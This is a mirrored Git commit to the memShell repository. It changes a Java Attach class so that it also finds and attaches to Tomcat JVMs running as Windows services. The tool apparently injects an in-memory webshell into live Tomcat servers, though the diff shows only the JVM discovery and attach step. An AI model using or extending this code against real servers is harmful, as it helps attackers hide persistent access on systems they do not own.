mirror of
https://github.com/rebeyond/memShell
synced 2026-06-08 17:04:52 +00:00
add support for tomcat installed as windows service
This commit is contained in:
Regular → Executable
+7
-3
@@ -35,8 +35,13 @@ public class Attach {
|
||||
if (vmList.size() <= 0)
|
||||
continue;
|
||||
for (VirtualMachineDescriptor vmd : vmList) {
|
||||
if (vmd.displayName().indexOf("catalina") >= 0) {
|
||||
if (vmd.displayName().indexOf("catalina") >= 0||vmd.displayName().equals("")) {
|
||||
vm = VirtualMachine.attach(vmd);
|
||||
|
||||
//ADD for tomcat windows service,dispayname is blank string and has key "catalina.home".
|
||||
if (vmd.displayName().equals("")&&vm.getSystemProperties().containsKey("catalina.home")==false)
|
||||
continue;
|
||||
|
||||
System.out.println("[+]OK.i find a jvm.");
|
||||
Thread.sleep(1000);
|
||||
if (null != vm) {
|
||||
@@ -46,7 +51,6 @@ public class Attach {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
Thread.sleep(3000);
|
||||
} catch (Exception e) {
|
||||
@@ -54,4 +58,4 @@ public class Attach {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user